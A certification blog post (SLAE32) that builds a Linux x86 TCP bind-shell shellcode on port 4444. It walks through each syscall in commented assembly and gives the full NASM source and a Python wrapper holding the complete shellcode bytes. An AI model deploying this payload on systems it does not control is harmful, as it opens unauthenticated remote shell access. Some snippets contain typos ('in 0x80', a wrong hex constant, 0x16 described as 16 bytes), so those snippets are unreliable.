SLAE32 Assignment 1 – Shell Bind TCP

Nota: el contenido de esta entrada estará escrito en inglés con el objetivo de cumplir los requerimientos del examen para la obtención del certificado SLAE32 de Pentester Academy.

Note: content of this post will be written in English in order to be compliant and pass the SLAE32 certification exam brought by Pentester Academy.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online.courses/securitytube-linux-assembly-expert/.

Student ID: PA-26078

GitHub repository: https://github.com/tdkmp4n4/SLAE32_Exam/tree/main/Assignment1

Assignment tasks

The following tasks were given to the student:

  • Create a Shell_Bind_TCP shellcode
    • Binds to a port
    • Executes shell on incoming connection
  • Port number should be easily configurable

Analyzing a well-known Shell Bind TCP shellcode

During real word engagements, penetration testers usually need to establish a shell in order to execute commands on a targeted machine. This is also known as “popping a shell”, which can be basically bind or reverse. Bind shells open a port into the target, receive the connection and finally a spawn a command shell when a connection arrives. Alternatively, reverse shells make a connection from the compromised machine to a server controlled by the attacker, specifying that a command shell must be spawned when the connection succeeds (the command shell is therefore “received” by the attacker).

Bind shells using TCP can be written and achieved using almost any high-level programming language such as Python or Java, as well as using low-level programming languages such as C. Moreover, as this blog post explains, assembly language can be also used to write a bind shell program. Firstly, let’s analyze a typical bind shell written in a high-level language in order to understand which steps are required for the assembly code. A Python bind shell was chosen (see code below), but any other bind shell could be analyzed as well.

#!/usr/bin/python

# Mandatory imports in order to run the subsequent code
import socket, os, subprocess;

# Socket creation
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

# Socket binding to all addresses "0.0.0.0" and port 4444
s.bind(("0.0.0.0",4444));

# Socket listening mode activation
s.listen(5);

# Accept a connection when it arrives
c,a=s.accept();

# File descriptors duplication (STDIN, STDOUT, STDERR)
os.dup2(c.fileno(),0);
os.dup2(c.fileno(),1);
os.dup2(c.fileno(),2);

# Command shell spawning
p=subprocess.call(["/bin/bash","-i"])

The example shown above is used to obtain a bind shell on a target. However, the whole functionality can be divided into the following tasks which are also well commented in the source code.

  1. Import of libraries which are necessary for running the subsequent tasks
  2. Creation of a network socket using TCP
  3. IP address and port binding to the socket
  4. Enabling socket listening mode
  5. Wait for connection arrival
  6. File descriptors duplication
  7. Command shell spawning

The assembly code needed for passing Assignment 1 can be broken down into various steps as well. The following sections describe one by one all the steps taken to implement a Shell Bind TCP shellcode.

Creating a socket

Before creating a socket, a manual page can be read in order to learn how Linux systems manage sockets. The following command will display “socketcall” manual page. Note that “socketcall” manual page includes several links to functions such as “socket”, “bind” and “listen” that are useful for our purpose.

man socketcall

Socketcall is a syscall whose number (102) can be found on “/usr/include/i386-linux-gnu/asm/unistd_32.h”.

In order to create the socket, the socket function must must be used. Firstly, socketcall functions numbers can be found on “/usr/include/linux/net.h” file.

Moreover, socket function arguments can be found entering the manpage using the following command:

man socket

Socket function (socketcall number 1) needs three arguments in order to operate: “domain”, “type” and “protocol”. According to the Python bind shell example and to the needs of this project, the following values must be passed to the socket syscall (note that decimal values can be found in “/usr/include/i386-linux-gnu/bits/socket.h” file as explained in socket manpage):

  • domain: AF_INET -> 2
  • type: SOCK_STREAM -> 1
  • protocol: Default value -> 0

If socket function succeeds, the return value will be a file descriptor for the new socket according to the manpage. If function fails, value “-1” is returned. The following snippet of assembly code is the responsible of creating the socket. Note that code is well commented and structures are used to pass arguments to socket function.

socket_creation:
    xor eax, eax ; Clear EAX register
    mov ebx, eax ; Clear EBX register
    push eax     ; Protocol must be 0 (default)
    push 0x01    ; Type must be 1 (SOCK_STREAM)
    push 0x02    ; Domain must be 2 (AF_INET)
    mov al,102   ; Move 102 to AL register (socketcall syscall)
    inc ebx      ; Place 1 in EBX register (socket() is number 1 in socketcall)
    mov ecx, esp ; Point arguments structure for socket() to the top of the stack
    int 0x80     ; Make syscall
    mov edx, eax ; Save file descriptor returned by socket()

Binding IP and port to the socket

After creating the socket, it is time to bind IP and port. By default, the source code will bind all the interfaces to the socket (IP address 0.0.0.0) and port 4444. However, a Python wrapper is going to be developed in order to be able to specify custom ports. First of all, bind function manual page must be consulted to understand how it operates. Moreover, bind function has assigned number 2 in socketcall syscall.

Reading the documentation, bind function needs three arguments in order to operate properly: “sockfd”, “*addr” and “addrlen”. In this case, values passed for these parameters are going to be explained one by one, hoping it clarifies all of them:

  • sockfd: socket file descriptor which was returned by socket() function -> In our case, saved in EDX register
  • *addr: this is a pointer (reference to memory address) where a structure of type “sockaddr” is placed. This structure contains information such as the IP address and port that will be binded to the socket. As per the documentation, the structure has the following elements:
    • sa_family_t: short integer (2 bytes) defining the family -> In our case, family is AF_INET (number 2)
    • char[14]: array of 14 bytes defining the information needed to use bind function -> In our case, all interfaces (0.0.0.0) and port 4444 are going to be defined
      • Port: 2 bytes
      • IP Address: 4 bytes
      • Unused: 8 bytes
  • addrlen: length in bytes of “addr” structure that lies in memory -> In our case, this is a fixed value of 16 bytes according to “addr” elements (2 bytes + 14 bytes)

If bind function succeeds, the return value will be “0”. If function fails, value “-1” is returned. The following snippet of assembly code is the responsible of binding IP and port to the socket. Note that code is again well commented.

bind_socket:
    xor esi,esi       ; Clear ESI register
    ;push esi         ; Push 4 null bytes for padding (not strictly necessary)
    ;push esi         ; Push 4 null bytes for padding (not strictly necessary)
    push esi          ; Push 4 null bytes for all interfaces
    push word 0x5c11  ; Push 115c value (4444 in decimal) for port number
    push word 0x2     ; Push family value (AF_INET which is 2)
    mov esi, esp      ; Pointer to addr structure for bind()
    push 0x16         ; Push 16 bytes length (addrlen) to the stack
    push esi          ; Push pointer to addr structure
    push edx          ; Push socket file descriptor
    mov al, 102       ; Move 102 to AL register (socketcall syscall)
    inc ebx           ; Place 2 in EBX register (bind() is number 2 in socketcall)
    mov ecx, esp      ; Pointer to arguments structure for bind()
    int 0x80          ; Make syscall

Set listening mode for socket

Once the socket has been binded, listening mode must be enabled. Listen function manual page must be consulted to perform this operation. Furthermore, listen function has assigned number 4 in socketcall syscall.

In this case, two arguments are needed by listen call to operate. Both of them are pretty easy to understand and fill:

  • sockfd: socket file descriptor which was returned by socket() function -> In our case, saved in EDX register
  • backlog: number of maximum connections -> In our case, 1 connection is ok for our purpose

If listen function succeeds, the return value will be “0”. If function fails, value “-1” is returned. The following snippet of assembly code is the responsible of enabling listening mode to the socket. Note that code is again well commented.

listen_socket:
    push 0x1     ; Push 1 for backlog value
    push edx     ; Push EDX register which holds socket file descriptor
    mov al, 102  ; Move 102 to AL register (socketcall syscall)
    add ebx, 2   ; Place 4 in EBX register (listen() is number 4 in socketcall)
    mov ecx, esp ; Pointer to arguments structure for listen()
    in 0x80      ; Make syscall

Accepting incoming connections

The socket is listening for incoming connections which will be then redirected into a command shell. However, there is one more step that is needed, and that is accepting the connection. In order to perform this task, accept function manual page must be read. Also note that accept function has assigned number 5 in socketcall syscall.

Accept function needs three arguments according to the documentation. However, second and third arguments (“*addr” and “*addrlen”) are pointers used to retrieve information of the remote peer, which is not useful at all for our purpose of creating a bind shell. Thus, both can be set to null. First argument is self-explanatory and has been used before, representing the created socket file descriptor.

If accept function succeeds, the return value will be a file descriptor for the new created socket. If function fails, value “-1” is returned. The following snippet of assembly code is the responsible of accepting connections to the main socket. Code is commented to avoid errors.

accept_connection:
    xor edi, edi   ; Clear EDI register
    push edi       ; Push null value for third argument
    push edi       ; Push null value for second argument
    push edx       ; Push EDX register which holds socket file descriptor
    mov al, 102    ; Move 102 to AL register (socketcall syscall)
    add ebx, 1     ; Place 5 in EBX register (accept() is number 5 in socketcall)
    mov ecx, esp   ; Pointer to arguments structure for accept()
    int 0x80       ; Make syscall
    mov edx, eax   ; Save file descriptor

File descriptors duplication

The connection is now established between the endpoints. However, in order to have a command shell (bind shell), standard file descriptors must be duplicated. To do so, dup2 syscall can be used. The manual page for dup2 function must be firstly read. Moreover according to “/usr/include/i386-linux-gnu/asm/unistd_32.h” file content, dup2 function has assigned number 63.

Usage of dup2 is quite simple. It only receives two arguments which are the old file descriptor and the new one, making a full copy. Therefore, our assembly code must duplicate all the standard file descriptors (0, 1 and 2 for STDIN, STDOUT and STDERR respectively) with the file descriptor socket.

If dup2 function succeeds, the return value will be the new file descriptor. If function fails, value “-1” is returned. The following snippet of code performs file descriptors duplication.

descriptors_duplication:
    mov ebx, edx     ; Save old file descriptor into EBX register (file descriptor from socket)
    xor ecx, ecx     ; Clear ECX register
    mov cl, 2        ; Move 2 to ECX register which is new file descriptor for first iteration

duplicate_fd:
    mov al, 63       ; Move 63 to AL register (dup2 syscall)
    int 0x80         ; Make syscall
    dec ecx          ; Decrement ECX register by 1
    jns duplicate_fd ; Jump if not sign (if not -1) to duplicate next file descriptor

Calling Execve

Finally, all the operation with socket has been done and the last pending task is to execute a shell through it. In order to accomplish this task, execve function (which has number 11 assigned in “/usr/include/i386-linux-gnu/asm/unistd_32.h” is called. Let’s see manual page for that function.

Execve receives three arguments in order to operate properly. All of them and needed values are explained below:

  • *filename: This is the file that is going to be executed or called and it needs to be binary or a script -> In our case, the desired value is “/bin/sh\x00” (/bin/sh null terminated) in order to obtain a shell
  • argv[]: array of argument strings that are passed to the new program. Moreover, the first of these strings should contain the filename associated with the file being executed (i.e. pointer reference to filename) -> In our case, no extra values are needed so argv[] argument can take the value of “/bin/sh\x00” string in memory plus a null DWORD
  • envp[]: Array of strings to pass environment to the new program -> In our case, that will be null because no environmental variables are needed

Execve does not return if it succeeds and it returns “-1” if there was any error. Moreover, as per course videos, a complex structure can be constructed in order to meet Execve requirments. Code below shows the assembly code written to call Execve using the stack method, which will first save all the required arguments on the stack and then use them properly.

execve:
    xor eax, eax    ; Clear EAX register
    push eax        ; Push null bytes
    push 0x68832f6e ; Push "hs/n" to stack
    push 0x69622f2f ; Push "ib//" to stack
    mov ebx, esp    ; Move to EBX register pointer to "//bin/sh" string
    push eax        ; push null bytes
    push ebx        ; Push the pointed address
    mov ecx, esp    ; Move to ECX pointer to address of "//bin/sh" plus null bytes
    xor edx, edx    ; Clear EDX register
    mov al, 11      ; Move 11 to AL register (execve syscall)
    int 0x80        ; Make syscall

Final code

Putting all the pieces together, a final assembly file can be created. Then, this file can be compiled and linked using NASM and LD and shellcode extracted using objdump as explained in first SLAE blog post using “Get-Shellcode.py” script. Moreover, a C proof-of-concept can be written and compiled using the shellcode extracted from objdump (this is done by “Get-Shellcode.py” script too). Both binary files work as expected as it is shown below.

; Filename: ShellBindTCP.nasm
; Author:  David Alvarez Robles
; Website:  https://blog.asturhackers.es
;
; Purpose: This assembly file has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE) certification

; Define entry point
global _start			

; Start text section
section .text
_start:

; Socket creation: int socket(int domain, int type, int protocol) -> Return value: file descriptor
socket_creation:
	xor eax, eax	; Clear EAX register
	mov ebx, eax	; Clear EBX register
	push eax	; Protocol must be 0 (default)
	push 0x01	; Type must be 1 (SOCK_STREAM)
	push 0x02	; Domain must be 2 (AF_INET)
	mov al, 102	; Move 102 to AL register (socketcall syscall) 
	inc ebx		; Place 1 in EBX register (socket() is number 1 in socketcall)
	mov ecx, esp	; Pointer to arguments structure for socket()
	int 0x80	; Make syscall
	mov edx, eax	; Save file descriptor returned by socket()


; Socket binding: int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) -> Return value: "0" or "-1"
bind_socket:
	xor esi, esi	 ; Clear ESI register
	;push esi	 ; Push 4 null bytes for padding (not strictly necessary)
	;push esi	 ; Push 4 null bytes for padding (not strictly necessary)
	push esi	 ; Push 4 null bytes for all interfaces
	push word 0x5C11 ; Push 115C value (4444 in decimal) for port number
	push word 0x2	 ; Push family value (AF_INET which is 2)
	mov esi, esp	 ; Pointer to addr structure for bind()
	push 0x16	 ; Push 16 bytes length (addrlen) to the stack
	push esi	 ; Push pointer to addr structure
	push edx	 ; Push socket file descriptor
	mov al, 102	 ; Move 102 to AL register (socketcall syscall) 
	inc ebx		 ; Place 2 in EBX register (bind() is number 2 in socketcall)
	mov ecx, esp	 ; Pointer to arguments structure for bind()
	int 0x80	 ; Make syscall


; Socket listening mode: int listen(int sockfd, int backlog) -> Return value: "0" or "-1"	
listen_socket:
	push 0x1	; Push 1 for backlog value
	push edx	; Push EDX register which holds socket file descriptor
	mov al, 102	; Move 102 to AL register (socketcall syscall)
	add ebx, 2	; Place 4 in EBX register (listen() is number 4 in socketcall)
	mov ecx, esp 	; Pointer to arguments structure for listen()
	int 0x80	; Make syscall


; Socket accept connections: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) -> Return value: file descriptor for new socket or "-1"
accept_connection:
	xor edi, edi	; Clear EDI register
	push edi	; Push null value for third argument
	push edi 	; Push null value for second argument
	push edx	; Push EDX register which holds socket file descriptor
	mov al, 102	; Move 102 to AL register (socketcall syscall)
	add ebx, 1	; Place 5 in EBX register (accept() is number 5 in socketcall)
	mov ecx, esp 	; Pointer to arguments structure for accept()
	int 0x80	; Make syscall
	mov edx, eax	; Save file descriptor

	
; File descriptor duplication: int dup2(int oldfd, int newfd) -> Return value: file descriptor for new socket or "-1"
descriptors_duplication:
	mov ebx, edx	 ; Save old file descriptor into EBX register (file descriptor from socket)
	xor ecx, ecx	 ; Clear ECX register
	mov cl, 2	 ; Move 2 to ECX register which is new file descriptor for first iteration

duplicate_fd:
	mov al, 63	 ; Move 63 to AL register (dup2 syscall)
	int 0x80	 ; Make syscall
	dec ecx		 ; Decrement ECX register by 1
	jns duplicate_fd ; Jump if not sign (if not -1) to duplicate next file descriptor


; Execve call: int execve(const char *pathname, char *const argv[], char *const envp[]) -> Return value: None or "-1"
execve:
	xor eax, eax	; Clear EAX register
	push eax	; Push null bytes
	push 0x68732f6e	; Push "hs/n" to stack
	push 0x69622f2f	; Push "ib//" to stack
	mov ebx, esp	; Move to EBX register pointer to "//bin/sh" string
	push eax	; Push null bytes
	push ebx	; Push the pointed address
	mov ecx, esp	; Move to ECX pointer to address of "//bin/sh" plus null bytes
	xor edx, edx	; Clear EDX register
	mov al, 11	; Move 11 to AL register (execve syscall)
	int 0x80	; Make syscall

Python wrapper to configure port dynamically

Finally, a Python wrapper script has been developed in order to be able to configure the port of the bind shell dynamically. The script is fed with base shellcode obtained before and only searches and replaces “\x11\x5c” bytes on the shellcode, which corresponds to port 4444. Replacement will occur taking into account the new port number passed as the first argument to the script. Evidences below show that both the wrapper and the new shellcode work perfectly.

#!/usr/bin/python

# Filename: wrapper.py
# Author: David Alvarez Robles (km0xu95)
# Website: https://blog.asturhackers.es

# Purpose: This script was developed in order to dynamically change the port
# used in the Shell Bind TCP shellcode

import sys

if(len(sys.argv) != 2):
	print "Usage: ./wrapper.py <Port>"
	sys.exit(0)

elif(int(sys.argv[1])<1 or int(sys.argv[1])>65535):
	print "[-] Port number must be 1-65535"
	sys.exit(0)

else:
	base_shellcode = "\\x31\\xc0\\x89\\xc3\\x50\\x6a\\x01\\x6a\\x02\\xb0\\x66\\x43\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x31\\xf6\\x56\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x16\\x56\\x52\\xb0\\x66\\x43\\x89\\xe1\\xcd\\x80\\x6a\\x01\\x52\\xb0\\x66\\x83\\xc3\\x02\\x89\\xe1\\xcd\\x80\\x31\\xff\\x57\\x57\\x52\\xb0\\x66\\x83\\xc3\\x01\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x89\\xd3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
	print "[*] Port number: " + str(int(sys.argv[1]))
	print "[*] Hex port number: " + format(int(sys.argv[1]), '#06x')
	new_port = format(int(sys.argv[1]), '#06x').split("0x")
	new_port_bytes = "\\x"+str(new_port[1][0:2])+"\\x"+str(new_port[1][2:4])
	print "[+] New bytes: " + new_port_bytes
	shellcode = base_shellcode.replace("\\x11\\x5c",new_port_bytes)
	print "[+] New shellcode: \"" + shellcode + "\""

~km0xu95